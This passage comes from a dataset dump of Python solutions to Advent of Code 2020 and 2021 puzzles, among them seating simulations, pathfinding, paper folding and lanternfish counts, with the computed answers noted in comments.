matrix\n * `pos` is the bit position within a `number[row]`\n * `most_common` is:\n * `> 0` if `1` is the most common bit in `numbers[:][pos]`\n * `< 0` if `0` is the most common bit in `numbers[:][pos]`\n * `== 0` if `0` and `1` are equally common\n\n The function `criteria(most_common)` should return `1` to keep\n numbers where `numbers[:][pos] == 1` and `-1` to keep numbers where\n `numbers[:][pos] == 0`.\n \"\"\"\n indices = list( range( len(numbers) ) )\n nbits = len(numbers[0])\n value = None\n\n for pos in range(nbits):\n most_common = colsum( subset(numbers, indices), column=pos )\n\n if len(indices) == 1:\n value = vec2int( numbers[ indices[0] ] )\n break\n else:\n keeper = criteria(most_common)\n indices = [ n for n in indices if numbers[n][pos] == keeper ]\n\n return value\n\n\ndef str2vec (s):\n \"\"\"Converts the binary string of '0' and '1' characters to a vector.\n\n An element of the resulting vector is `-1` if the binary string\n contains a `'0'` at the corresponding bit position, otherwise the\n element is `1`.\n \"\"\"\n return [ -1 if c == '0' else 1 for c in s.strip() ]\n\n\ndef subset (matrix, indices):\n \"\"\"Returns a subset of `matrix` rows that correspond to `indices`.\"\"\"\n return [ matrix[index] for index in indices ]\n\n\ndef vec2int (vec):\n \"\"\"Converts `vec`tor to an integer.\n\n Each element in `vec` represents a bit in the integer. The bit is\n `1` if the element is greater than zero, otherwise the bit is `0`.\n \"\"\"\n return functools.reduce(lambda n, elem: (n << 1) | (elem > 0), vec, 0)\n\n\n\nfilename = 'aoc-2021-d03.txt'\nnumbers = list( lines(filename, str2vec) )\n\n\n# Part 1\n#\n# Q: What is the power consumption of the submarine?\n# A: 1869 gamma * 2226 epsilon = 4160394\n\nnbits = len(numbers[0])\ngamma = vec2int( colsum(numbers) )\nepsilon = ~gamma & (2**nbits - 1)\n\nprint(f'Part 1: {gamma} gamma * {epsilon} epsilon = {gamma * epsilon}')\n\n\n# Part 2\n#\n# Q: Multiply your final horizontal position by your final depth?\n# A: 1719 O2 * 2400 CO2 = 4125600\n\n\nO2 = rating(numbers, lambda most_common: 1 if most_common >= 0 else -1)\nCO2 = rating(numbers, lambda most_common: -1 if most_common >= 0 else 1)\n\nprint(f'Part 2: {O2} O2 * {CO2} CO2 = {O2 * CO2}')\n", "id": "9086262", "language": "Python", "matching_score": 1.6856684684753418, "max_stars_count": 0, "path": "2021/day03/aoc-2021-d03.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 9 (https://adventofcode.com/2020/day/9)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef find_sum_range (numbers, n):\n \"\"\"Returns (i, j) such that sum(numbers[i:j]) == n.\"\"\"\n cumsum = list( itertools.accumulate(numbers) )\n\n for j in range(1, len(cumsum)):\n for i in range(0, j):\n if cumsum[j] - cumsum[i] == n:\n return i, j\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\n# Part 1\n#\n# The first step of attacking the weakness in the XMAS data is to find\n# the first number in the list (after the preamble) which is not the sum\n# of two of the 25 numbers before it.\n#\n# Q: What is the first number that does not have this property?\n# A: Part 1: First number not sum of previous 25: 31161678.\n\n\nfilename = 'aoc-2020-d09.txt'\nnumbers = list( lines(filename, int) )\npreamble = 25\nqueue = numbers[:preamble]\n\nfor n in numbers[preamble:]:\n delta = [n - q for q in queue]\n if not any([ (d in queue and (n - d) != d) for d in delta ]):\n print(f'Part 1: First number not sum of previous {preamble}: {n}.')\n break\n\n queue.pop(0)\n queue.append(n)\n\n\n# Part 2\n#\n# Find a contiguous set of at least two numbers in your list which sum\n# to the invalid number from Step 1.\n#\n# Q: What is the encryption weakness in your XMAS-encrypted list of numbers?\n# A: Part 2: Encryption weakness: 5453868.\n\ni, j = find_sum_range(numbers, n)\nsubset = numbers[i:j]\nprint(f'Part 2: Encryption weakness: {min(subset) + max(subset)}.')\n", "id": "2631815", "language": "Python", "matching_score": 1.3877402544021606, "max_stars_count": 0, "path": "2020/day09/aoc-2020-d09.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 1 (https://adventofcode.com/2021/day/1)\n# Author: <NAME>\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in `filename`. If `func` is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef windows (seq, size):\n \"\"\"Yields windows over `seq`uence of `size` items, e.g.:\n\n windows('ABCD', 2) -> ('A', 'B'), ('B', 'C'), ('C', 'D')\n \"\"\"\n for n in range(size - 1, len(seq)):\n yield tuple( seq[n - s] for s in range(size - 1, -1, -1) )\n\n\n\nfilename = 'aoc-2021-d01.txt'\ndepths = list( lines(filename, int) )\n\n\n# Part 1\n#\n# Q: How many measurements are larger than the previous measurement?\n# A: 1715 measurements are larger than the previous measurement.\n\ncount = sum( w[1] > w[0] for w in windows(depths, size=2) )\nprint(f'Part 1: {count} measurements are larger than the previous measurement.')\n\n\n# Part 2\n#\n# Q: How many sums are larger than the previous sum?\n# A:\n\nsums = [ sum(w) for w in windows(depths, size=3) ]\ncount = sum( w[1] > w[0] for w in windows(sums, size=2) )\nprint(f'Part 2: {count} sums are larger than the previous sum.')\n", "id": "9189315", "language": "Python", "matching_score": 0.4574618637561798, "max_stars_count": 0, "path": "2021/day01/aoc-2021-d01.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 2 (https://adventofcode.com/2021/day/2)\n# Author: <NAME>\n\n\ndef command (line):\n \"\"\"Converts `line` into a `(direction, magnitude)` submarine command.\"\"\"\n direction, magnitude = line.split()\n return direction, int(magnitude)\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in `filename`. If `func` is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\n\nfilename = 'aoc-2021-d02.txt'\ncommands = list( lines(filename, command) )\n\n\n# Part 1\n#\n# Q: Multiply your final horizontal position by your final depth?\n# A: Part 1: 1925 pos * 879 depth = 1692075\n\ndepth = 0\npos = 0\n\nfor direction, magnitude in commands:\n if direction == 'forward':\n pos += magnitude\n else:\n if direction == 'up':\n magnitude *= -1\n\n depth += magnitude\n\nprint(f'Part 1: {pos} pos * {depth:6} depth = {pos * depth:10}')\n\n\n# Part 2\n#\n# Q: Multiply your final horizontal position by your final depth?\n# A: Part 2: 1925 pos * 908844 depth = 1749524700\n\naim = 0\ndepth = 0\npos = 0\n\nfor direction, magnitude in commands:\n if direction == 'forward':\n pos += magnitude\n depth += aim * magnitude\n else:\n if direction == 'up':\n magnitude *= -1\n\n aim += magnitude\n\nprint(f'Part 2: {pos} pos * {depth:6} depth = {pos * depth:10}')\n", "id": "12165157", "language": "Python", "matching_score": 0.48637041449546814, "max_stars_count": 0, "path": "2021/day02/aoc-2021-d02.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 5 (https://adventofcode.com/2020/day/5)\n# Author: <NAME>\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef seat (bpass):\n \"\"\"Returns the seat ID for the given boarding pass (`bpass`).\"\"\"\n row = sum(2**(6-n) for n, s in enumerate(bpass[0:7]) if s == 'B')\n col = sum(2**(2-n) for n, s in enumerate(bpass[7:] ) if s == 'R')\n return (row * 8) + col\n\n\n# Part 1\n#\n# Q: What is the highest seat ID on a boarding pass?\n# A: Part 1: Highest Seat ID: 885.\n\nfilename = 'aoc-2020-d05.txt'\nseats = sorted( lines(filename, seat) )\n\nprint(f'Part 1: Highest Seat ID: {seats[-1]}.')\n\n\n# Part 2\n#\n# Your seat wasn't at the very front or back, though; the seats with IDs\n# +1 and -1 from yours will be in your list.\n#\n# Q: What is the ID of your seat?\n# A: Part 2: My Seat ID: 623.\n\nfor n in range(1, len(seats)):\n if seats[n - 1] == (seats[n] - 2):\n print(f'Part 2: My Seat ID: {seats[n] - 1}.')\n break\n", "id": "2220626", "language": "Python", "matching_score": 0.8928146958351135, "max_stars_count": 0, "path": "2020/day05/aoc-2020-d05.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 11 (https://adventofcode.com/2020/day/11)\n# Author: <NAME>\n\nimport copy\nimport itertools\n\n\nEMPTY = 0\nOCCUPIED = 1\nFLOOR = 2\nCharToInt = { 'L': EMPTY, '#': OCCUPIED, '.': FLOOR }\nDirections = ( (-1, -1), (0, -1), (1, -1),\n (-1, 0), (1, 0),\n (-1, 1), (0, 1), (1, 1) )\n\n\ndef adjacent (area, r, c, radius=None):\n \"\"\"Returns the adjacent seats within `radius` of the seat at row (`r`)\n and column (`c`) in all directions (up, down, left, right, and\n diagonals). If `radius` is one (1), adjacent seats are the\n surrounding 3x3 neighborhood. If `radius` is `None` (default),\n adjacent seats are the sight-lines in each direction (until the\n first seat in that direction is encountered) around the seat at row\n (`r`) and column (`c`).\n \"\"\"\n nrows = len( area )\n ncols = len( area[0] )\n\n for dr, dc in Directions:\n nr = r\n nc = c\n r0 = 0\n spot = FLOOR\n\n while spot == FLOOR and (radius is None or r0 < radius):\n r0 += 1\n nr += dr\n nc += dc\n\n if nr not in range(nrows) or nc not in range(ncols):\n break\n else:\n spot = area[nr][nc]\n\n if spot != FLOOR:\n yield spot\n\n\ndef apply (area, next, neighborhood, threshold):\n \"\"\"Applies puzzle rules to the seating `area`, storing updates in the\n `next` seating area. The parameter `neighborhood` is a function\n that takes a seating `area` and specific seat location (row, column)\n as input (`neighborhood(area, row, col)`) and returns nearby seats\n in that neighborhood. The parameter `threshold` is the minimum\n number of `OCCUPIED` neighborhood seats required to make a seat\n `EMPTY`.\n \"\"\"\n for seat, r, c in seats(area):\n neighbors = neighborhood(area, r, c)\n if seat == EMPTY:\n if all(n == EMPTY for n in neighbors):\n next[r][c] = OCCUPIED\n else:\n if len([ n for n in neighbors if n == OCCUPIED ]) >= threshold:\n next[r][c] = EMPTY\n\n\ndef count (area, state=OCCUPIED):\n \"\"\"Returns the count of spots in the seating `area` in the given state,\n defaulting to `OCCUPIED`.\n \"\"\"\n return sum(int(pos == state) for row in area for pos in row)\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef merge (dst, src):\n \"\"\"Merges the source (`src`) seating area into the destination (`dst`)\n seating area and returns the number of changed seats. A return\n value of zero indicates `dst` and `src` are identical.\n \"\"\"\n changed = 0\n\n for seat, r, c in seats(dst):\n if dst[r][c] != src[r][c]:\n changed += 1\n dst[r][c] = src[r][c]\n\n return changed\n\n\ndef parse (line):\n \"\"\"Parse line into an array of numbers (`EMPTY`, `OCCUPIED`, or `FLOOR`)\n for each spot in the seatring area.\n \"\"\"\n return [ CharToInt[c] for c in line.strip() ]\n\n\ndef seats (area):\n \"\"\"An iterator (generator) over seats (either `OCCUPIED` or `EMPTY`) in\n the seating `area`. Yields a tuple indicating the seat state and\n its row and column location, i.e. `(seat, r, c)`.\n \"\"\"\n nrows = len( area )\n ncols = len( area[0] )\n\n for r, c in itertools.product(range(nrows), range(ncols)):\n if area[r][c] != FLOOR:\n yield area[r][c], r, c\n\n\n# Part 1\n#\n# Simulate your seating area by applying the seating rules repeatedly\n# until no seats change state.\n#\n# Q: How many seats end up occupied?\n# A: Part 1: Iterations: 94, Occupied 2275.\n\n\n# Part 2\n#\n# Q: Given the new visibility method and the rule change for occupied\n# seats becoming empty, once equilibrium is reached, how many seats end\n# up occupied?\n# A: Part 2: Iterations: 86, Occupied 2121.\n\nfilename = 'aoc-2020-d11.txt'\narea = list( lines(filename, parse) )\nadj3x3 = lambda area, r, c: adjacent(area, r, c, radius=1)\npart = 0\n\n\nfor neighborhood, threshold in (adj3x3, 4), (adjacent, 5):\n curr = copy.deepcopy(area)\n next = copy.deepcopy(area)\n iters = 0\n part += 1\n\n while True:\n iters += 1\n apply(curr, next, neighborhood, threshold)\n\n if merge(curr, next) == 0:\n break\n\n print(f'Part {part}: Iterations: {iters}, Occupied {count(curr)}.')\n", "id": "8698967", "language": "Python", "matching_score": 2.1421570777893066, "max_stars_count": 0, "path": "2020/day11/aoc-2020-d11.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 11 (https://adventofcode.com/2021/day/11)\n# Author: <NAME>\n\n\nimport functools\nimport itertools\nimport operator\n\n\ndef energize (grid, row=None, col=None):\n \"\"\"Energizes octopus `grid` by increasing energy levels by one.\n\n If `row` and `col` are given, only the octopus at that grid position\n is energized. Otherwise all octopuses are energized.\n \"\"\"\n if row is not None and col is not None:\n grid[row][col] += 1\n else:\n for r, c in iterate(grid):\n energize(grid, row=r, col=c)\n\n\ndef flashed (octopus):\n \"\"\"Indicates whether `octopus` has flashed.\"\"\"\n return octopus > 9\n\n\ndef iterate (grid):\n \"\"\"Returns a `(row, col)` iterable over the 2D `grid`.\"\"\"\n return itertools.product( *map(range, size(grid) ) )\n\n\ndef load (filename):\n \"\"\"Loads and returns grid of octopus engery levels from `filename`.\"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield [ int(c) for c in line.strip() ]\n\n\ndef neighbors (row, col, nrows, ncols):\n \"\"\"Returns a list of `(r, c)` 8-neighbors (up, down, left, right, and\n diagonals) for `(row, col)`.\n\n Invalid neighbor coordinates outside the range row and column range\n `[0, nrows)` or `[0, ncols)`, respectively, will not be returned.\n \"\"\"\n for dr, dc in itertools.product((-1, 0, 1), repeat=2):\n if dr == 0 and dc == 0:\n continue\n\n r = row + dr\n c = col + dc\n\n if r in range(nrows) and c in range(ncols):\n yield (r, c)\n\n\ndef propagate (grid):\n \"\"\"Propagates flashes across `grid` returning the total number of\n flashes seen.\n \"\"\"\n flashing = [ (r, c) for r, c in iterate(grid) if flashed( grid[r][c] ) ]\n seen = [ ]\n\n while len(flashing) > 0:\n row, col = flashing.pop()\n seen.append( (row, col) )\n\n for r, c in neighbors(row, col, *size(grid)):\n energize(grid, row=r, col=c)\n\n if flashed( grid[r][c] ):\n if (r, c) not in flashing and (r, c) not in seen:\n flashing.append( (r, c) )\n\n return len(seen)\n\n\ndef size (grid):\n \"\"\"Returns the size of `grid` as `(nrows, ncols)`.\"\"\"\n return len(grid), len(grid[0])\n\n\ndef settle (grid):\n \"\"\"Settles `grid` octopuses that have flashed by setting their energy\n level to zero.\n \"\"\"\n for r, c in iterate(grid):\n if flashed( grid[r][c] ):\n grid[r][c] = 0\n\n\nfilename = 'aoc-2021-d11.txt'\ngrid = list( load(filename) )\nnum_octopuses = functools.reduce(operator.mul, size(grid), 1)\npart = 0\nstep = 0\ntotal = 0\n\n\nwhile True:\n step += 1\n\n _, num_flashed, _ = energize(grid), propagate(grid), settle(grid)\n total += num_flashed\n\n # Part 1\n #\n # Q: How many total flashes are there after 100 steps?\n # A: Total Flashes = 1732\n\n if step == 100:\n print(f'Part 1: Total Flashes = {total}')\n part += 1\n\n # Part 2\n #\n # Q: What is the first step during which all octopuses flash?\n # A: All Flash Step = 290\n\n if num_flashed == num_octopuses:\n print(f'Part 2: All Flash Step = {step:4}')\n part += 1\n\n if part == 2:\n break\n", "id": "2659662", "language": "Python", "matching_score": 2.167532205581665, "max_stars_count": 0, "path": "2021/day11/aoc-2021-d11.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 9 (https://adventofcode.com/2021/day/9)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef flood (row, col, heights, basin=None):\n \"\"\"Return the basin surrounding `(row, col)` in `heights` using a\n recursive flood fill.\n \"\"\"\n basin = [ ] if basin is None else basin\n nrows = len(heights)\n ncols = len(heights[0])\n\n basin.append( (row, col) )\n\n for r, c in neighbors(row, col, nrows, ncols):\n if (r, c) not in basin and heights[r][c] != 9:\n flood(r, c, heights, basin)\n\n return basin\n\n\ndef load (filename):\n \"\"\"Loads height map from `filename`.\"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield [ int(c) for c in line.strip() ]\n\n\ndef neighbors (row, col, nrows, ncols):\n \"\"\"Returns a list of `(r, c)` 4-neighbors (up, down, left, right) for\n `(row, col)`.\n\n Invalid neighbor coordinates outside the range row and column range\n `[0, nrows]` or `[0, ncols]`, respectively, will not be returned.\n \"\"\"\n deltas = (-1, 0), (0, -1), (1, 0), (0, 1)\n valid = lambda r, c: r in range(0, nrows) and c in range(0, ncols)\n return [ (row + r, col + c) for r, c in deltas if valid(row + r, col + c) ]\n\n\nfilename = 'aoc-2021-d09.txt'\nheights = list( load(filename) )\nnrows = len(heights)\nncols = len(heights[0])\nlocations = [ ]\n\n\n# Part 1\n#\n# Q: What is the sum of the risk levels of all low points on your heightmap?\n# A: Risk = 486\n\nfor row, col in itertools.product( range(nrows), range(ncols) ):\n current = heights[row][col]\n adjacent = neighbors(row, col, nrows, ncols)\n\n if all(current < heights[r][c] for r, c in adjacent):\n locations.append( (row, col) )\n\nrisk = sum(heights[row][col] + 1 for row, col in locations)\nprint(f'Part 1: Risk = {risk:7}')\n\n\n# Part 2\n#\n# Q: Multiply together the sizes of the three largest basins?\n# A: Largest = 1059300\n\nsizes = sorted([ len(flood(row, col, heights)) for row, col in locations ])\nlargest = sizes[-1] * sizes[-2] * sizes[-3]\nprint(f'Part 2: Largest = {largest}')\n", "id": "278407", "language": "Python", "matching_score": 2.439842700958252, "max_stars_count": 0, "path": "2021/day09/aoc-2021-d09.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 15 (https://adventofcode.com/2021/day/15)\n# Author: <NAME>\n\n\nimport collections\nimport heapq\n\n\nPoint = collections.namedtuple('Point', ['x', 'y'])\nPoint.__add__ = lambda self, q: Point(self[0] + q[0], self[1] + q[1])\n\n\nclass RiskMap:\n def __init__ (self):\n \"\"\"Creates a new (empty) risk-level map.\n\n Individual risk-levels as specific positions are accessible via\n `RiskMap[Point]`.\n\n See also `RiskMap.load()`\n \"\"\"\n self._factor = 1\n self._levels = [ ]\n self._nrows = 0\n self._ncols = 0\n\n\n def __getitem__ (self, pos):\n \"\"\"Returns the risk-level at position `pos`, i.e. `RiskMap[pos]`.\"\"\"\n if self._factor > 1:\n risk = self._levels[pos.y % self._nrows][pos.x % self._ncols]\n risk += pos.y // self._nrows\n risk += pos.x // self._ncols\n\n if risk > 9:\n risk = risk % 9\n else:\n risk = self._levels[pos.y][pos.x]\n\n return risk\n\n\n @staticmethod\n def load (filename):\n \"\"\"Creates a new risk-level map from `filename`.\"\"\"\n rmap = RiskMap()\n\n with open(filename) as stream:\n for line in stream.readlines():\n rmap.append([ int(c) for c in line.strip() ])\n\n return rmap\n\n\n @property\n def ncols (self):\n \"\"\"The number of columns in this `RiskMap`.\"\"\"\n return self._factor * self._ncols\n\n\n @property\n def nrows (self):\n \"\"\"The number of rows in this `RiskMap`.\"\"\"\n return self._factor * self._nrows\n\n\n def append (self, row):\n \"\"\"Appends `row` to this `RiskMap`.\"\"\"\n if len(self._levels) == 0:\n self._ncols = len(row)\n\n self._levels.append(row)\n self._nrows += 1\n\n\n def neighbors (self, pos):\n \"\"\"Iterable 4-neighbors (up, down, left, right) for `pos`ition.\"\"\"\n deltas = (0, -1), (0, 1), (-1, 0), (1, 0)\n adjacent = ( pos + Point(*delta) for delta in deltas )\n yield from ( p for p in adjacent if self.valid(p) )\n\n\n def resize (self, factor):\n \"\"\"Resizes this `RiskMap` by setting its expansion factor to `factor`\n copies both horizontally and vertically.\n \"\"\"\n self._factor = factor\n\n\n def valid (self, pos):\n \"\"\"Indicates whether or not `pos` is valid (inside this `RiskMap`).\"\"\"\n return pos.y in range(0, self.nrows) and pos.x in range(0, self.ncols)\n\n\n\ndef search (rmap, start, end):\n \"\"\"Searches `RiskMap` `rmap` (breadth-first) to find the least risky\n path from `start` to `end`. Returns the total risk of that path.\n \"\"\"\n risk = 0\n queue = [ (rmap[p], p) for p in rmap.neighbors(start) ]\n visited = { start }\n\n heapq.heapify(queue)\n\n while len(queue) > 0:\n risk, current = heapq.heappop(queue)\n\n if current == end:\n break\n\n for pos in rmap.neighbors(current):\n if pos not in visited:\n heapq.heappush( queue, ((rmap[pos] + risk), pos) )\n visited.add(pos)\n\n return risk\n\n\n\nfilename = 'aoc-2021-d15.txt'\nrmap = RiskMap.load(filename)\nstart = Point(0, 0)\nend = Point(rmap.ncols - 1, rmap.nrows - 1)\n\n\n# Part 1\n#\n# Q: Lowest total risk of any path from the top left to the bottom right?\n# A: Total Risk = 755\n\nprint(f'Part 1: Total Risk = {search(rmap, start, end):4}')\n\n\n# Part 2\n#\n# Q: Lowest total risk of any path from the top left to the bottom right?\n# A: Total Risk = 3016\n\nrmap.resize(factor=5)\nend = Point(rmap.ncols - 1, rmap.nrows - 1)\n\nprint(f'Part 2: Total Risk = {search(rmap, start, end)}')\n", "id": "381", "language": "Python", "matching_score": 1.181698203086853, "max_stars_count": 0, "path": "2021/day15/aoc-2021-d15.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 13 (https://adventofcode.com/2021/day/13)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef fold (paper, along, line, nrows, ncols):\n \"\"\"Folds `paper` `along` (`'X'` or `'Y'`) axis at the horizontal or\n vertical `line`. The size of `paper` is `nrows`-by-`ncols`.\n\n The `paper` is modified in-place (dots \"below\" or \"right\" of the\n fold are deleted and a new `(nrows, ncols)` paper size is returned.\n \"\"\"\n\n # To reflect a point on the other side of a fold `line`:\n #\n # 1. Compute point's distance below the fold line, e.g. (y - line)\n # 2. Subtract that distance from the fold line, e.g. line - (y - line)\n #\n # That is, move the point up above the fold line the same distance\n # it was previously located down below the fold line. For folds\n # along the x-axis, replace \"below\" with \"right\" and \"y\" with \"x\".\n\n if along == 'X':\n folded = lambda x, y: (line - (x - line), y)\n coords = itertools.product( range(line + 1, ncols), range(nrows) )\n size = nrows, line\n else:\n folded = lambda x, y: (x, (line - (y - line)))\n coords = itertools.product( range(ncols), range(line + 1, nrows) )\n size = line, ncols\n\n for coord in coords:\n if coord in paper:\n paper.add(folded(*coord))\n paper.remove(coord)\n\n return size\n\n\ndef load (filename):\n \"\"\"Loads and returns `(paper, folds)` from `filename`.\"\"\"\n paper = set()\n folds = None\n\n with open(filename) as stream:\n for line in stream.readlines():\n line = line.strip()\n\n if len(line) == 0:\n folds = [ ]\n continue\n\n if folds is None:\n x, y = map(int, line.split(','))\n paper.add((x, y))\n else:\n along, value = line.split('=')\n folds.append( (along[-1].upper(), int(value)) )\n\n return paper, folds\n\n\ndef pretty (paper, nrows, ncols, num_letters=8):\n \"\"\"Pretty prints `paper` sized `nrows`-by-`ncols` with enough space for\n `num_letters` spaced apart to improve legibility.\n \"\"\"\n char_width = ncols // num_letters\n\n for y in range(nrows):\n for char_start in range(0, ncols, max(1, char_width)):\n for x in range(char_start, char_start + char_width):\n print('#' if (x, y) in paper else ' ', end='')\n print(' ', end='')\n print()\n\n\ndef size (paper):\n \"\"\"Returns the size of `paper` as `(nrows, ncols)`.\"\"\"\n nrows = max(y for _, y in paper) + 1\n ncols = max(x for x, _ in paper) + 1\n return nrows, ncols\n\n\n\nfilename = 'aoc-2021-d13.txt'\npaper, folds = load(filename)\nnrows, ncols = size(paper)\n\n\n# Part 1\n#\n# Q: How many dots are visible after completing just the first fold?\n# A: Count = 671\n\nalong, line = folds[0]\nnrows, ncols = fold(paper, along, line, nrows, ncols)\n\nprint(f'Part 1: Count = {len(paper)}')\n\n\n# Part 2\n#\n# Q: What code do you use to activate ... camera system?\n# A: PCPHARKL\n\nfor along, line in folds[1:]:\n nrows, ncols = fold(paper, along, line, nrows, ncols)\n\nprint(f'Part 2: ')\npretty(paper, nrows, ncols)\n", "id": "1522065", "language": "Python", "matching_score": 1.2136482000350952, "max_stars_count": 0, "path": "2021/day13/aoc-2021-d13.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 17 (https://adventofcode.com/2020/day/17)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef cycle (active):\n \"\"\"Runs a single cycle of Conways Cubes.\"\"\"\n coords = list( transpose( active.keys() ) )\n dimensions = len(coords)\n next = { }\n ranges = [ ]\n\n\n for d in range(dimensions):\n ranges.append( range( min(coords[d]) - 1, max(coords[d]) + 2 ) )\n\n for coord in itertools.product(*ranges):\n nactive = sum(1 for n in neighbors(coord) if n in active)\n state = False\n\n if coord in active:\n state = nactive == 2 or nactive == 3\n else:\n state = nactive == 3\n\n if state == True:\n next[coord] = True\n\n return next\n\n\ndef embed (active, dimensions=3):\n \"\"\"Embeds a two dimensional mapping of active coordinates in, and\n returns, a higher dimensional mapping, e.g.:\n\n embed( {(x, y): True}, dimenions=3) -> {(x, y, 0): True}\n\n \"\"\"\n return { coord + ((0, ) * (dimensions - 2)): True for coord in active }\n\n\ndef load (filename):\n \"\"\"Loads the two dimensional Conway Cubes puzzle input and returns a\n mapping of all active coordinates, i.e. `active[coord] = True`.\n \"\"\"\n active = { }\n\n with open(filename) as stream:\n for y, line in enumerate( stream.readlines() ):\n line = line.strip()\n for x, c in enumerate(line):\n if c == '#':\n active[(x, y)] = True\n\n return active\n\n\ndef neighbors (coord):\n \"\"\"Returns the coordinates of all 1-neighbors of `coord`.\n \"\"\"\n for deltas in itertools.product( (-1, 0, 1), repeat=len(coord) ):\n if all(d == 0 for d in deltas):\n continue\n\n yield tuple( map(sum, zip(coord, deltas)) )\n\n\ndef transpose (coords):\n \"\"\"Returns the transpose of `coords` in any number of dimensions, so:\n\n ( (x1, y1, ...), ... (xN, yN, ...) )\n\n becomes:\n\n ( (x1, x2, ..., xN), (y1, y2, yN...), ... )\n\n \"\"\"\n return zip(*coords)\n\n\n# Parts 1\n#\n# Starting with your given initial configuration, simulate six cycles.\n#\n# Q: How many cubes are left in the active state after the sixth cycle?\n# A: Part 1: Active cubes: 289.\n\n# Part 2\n#\n# Starting with your given initial configuration, simulate six cycles in\n# a 4-dimensional space.\n#\n# Q: How many cubes are left in the active state after the sixth cycle?\n# A: Part 2: Active cubes: 2084.\n\nfilename = 'aoc-2020-d17.txt'\nstart = load(filename)\n\nfor dimension in (3, 4):\n active = embed(start, dimension)\n\n for c in range(6):\n active = cycle(active)\n\n print(f'Part {dimension - 2}: Active cubes: { len( active.values() ) }.')\n", "id": "5640571", "language": "Python", "matching_score": 1.2212241888046265, "max_stars_count": 0, "path": "2020/day17/aoc-2020-d17.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 6 (https://adventofcode.com/2021/day/6)\n# Author: <NAME>\n\n\nimport collections\n\n\ndef load (filename):\n \"\"\"Loads the initial latern fish state from `filename`.\"\"\"\n with open(filename) as stream:\n return [ int(s) for s in stream.read().split(',') ]\n\n\ndef fishogram (fish):\n \"\"\"Creates a histogram of `fish`, providing a count of fish for each\n number of days remaining before their next spawn cycle, i.e.:\n\n F[days_remaining] = count\n \"\"\"\n return collections.Counter(fish)\n\n\ndef spawn (fish, days):\n \"\"\"Spawns `fish` for `days` and returns the total number of fish.\"\"\"\n today = fishogram(fish)\n\n for day in range(days):\n tomorrow = collections.defaultdict(int)\n for remaining, count in today.items():\n if remaining == 0:\n tomorrow[6] += count\n tomorrow[8] += count\n else:\n tomorrow[remaining - 1] += count\n today = tomorrow\n\n return sum( today.values() )\n\n\nfilename = 'aoc-2021-d06.txt'\nfish = load(filename)\n\n\n# Part 1\n#\n# Q: How many lanternfish would there be after 80 days?\n# A: Fish = 386640\n\nprint(f'Part 1: Fish = {spawn(fish, 80):13}')\n\n\n# Part 2\n#\n# Q: How many lanternfish would there be after 256 days?\n# A: Fish = 1733403626279\n\nprint(f'Part 2: Fish = {spawn(fish, 256):13}')\n", "id": "1766773", "language": "Python", "matching_score": 0.03578731417655945, "max_stars_count": 0, "path": "2021/day06/aoc-2021-d06.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 18 (https://adventofcode.com/2021/day/18)\n# Author: <NAME>\n\n\nimport collections\nimport itertools\nimport math\n\n\nclass SFNumber:\n \"\"\"A Snailfish Number (`SFNumber`) is composed of a pair (list) of `SFNumber`s\n and/or `int`egers. That is, each item in the pair may be another `SFNumber`\n or a regular `int`eger.\n\n Internally, `SFNumber`s track their `L`eft pair, `R`ight pair, `P`arent `SFNumber`\n (if any) or `None`, and their level of pair nesting.\n \"\"\"\n\n def __init__ (self, pair, P=None, nested=0):\n \"\"\"Creates a new `SFNumber` from `pair` and `reduce()`s it.\"\"\"\n L = pair[0]\n R = pair[1]\n self.L = SFNumber(L, self, nested + 1) if type(L) is list else L\n self.R = SFNumber(R, self, nested + 1) if type(R) is list else R\n self.P = P\n self.nested = nested\n\n if P is None:\n self.reduce()\n\n\n def __abs__ (self):\n \"\"\"Returns the magnitude of this `SFNumber`.\"\"\"\n L = self.L if type(self.L) is int else abs(self.L)\n R = self.R if type(self.R) is int else abs(self.R)\n return (3 * L) + (2 * R)\n\n\n def __add__ (self, other):\n \"\"\"Adds this `SFNumber` to `other` `SFNumber`.\"\"\"\n return SFNumber( [ self.list(), other.list() ] )\n\n\n def __eq__ (self, obj):\n \"\"\"Tests this `SFNumber` for equality with `obj`, either another `SFNumber`\n or a Python nested `list` of pairs.\n \"\"\"\n return self.list() == (obj.list() if type(obj) is SFNumber else obj)\n\n\n def __str__ (self):\n \"\"\"Returns this `SFNumber` as a string showing a list of nested pairs.\"\"\"\n return str( self.list() ).replace(' ', '')\n\n\n def explode 